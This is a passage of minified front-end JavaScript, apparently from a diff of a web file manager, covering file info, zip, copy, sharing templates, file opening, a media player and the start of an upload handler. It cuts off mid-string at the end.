a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var o=n(t);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+t+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},L=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},N=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},T=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},z=function(){var e=function(e,t){var i='<div style="padding:20px;">null!</div>';if(0!=e.length){i='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[t]+"</b><br/>";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}i+="</div>"}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(n)},A=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:A,appAddURL:O,share:f,shareBox:u,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:z,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+n+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),new PDFObject({url:n}).embed(o)}}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+t+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(a=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(f){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,f(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),f(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),f(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},f=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),u(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},u=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),f=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},u=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:f,playSound:u}}); \ No newline at end of file +},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" 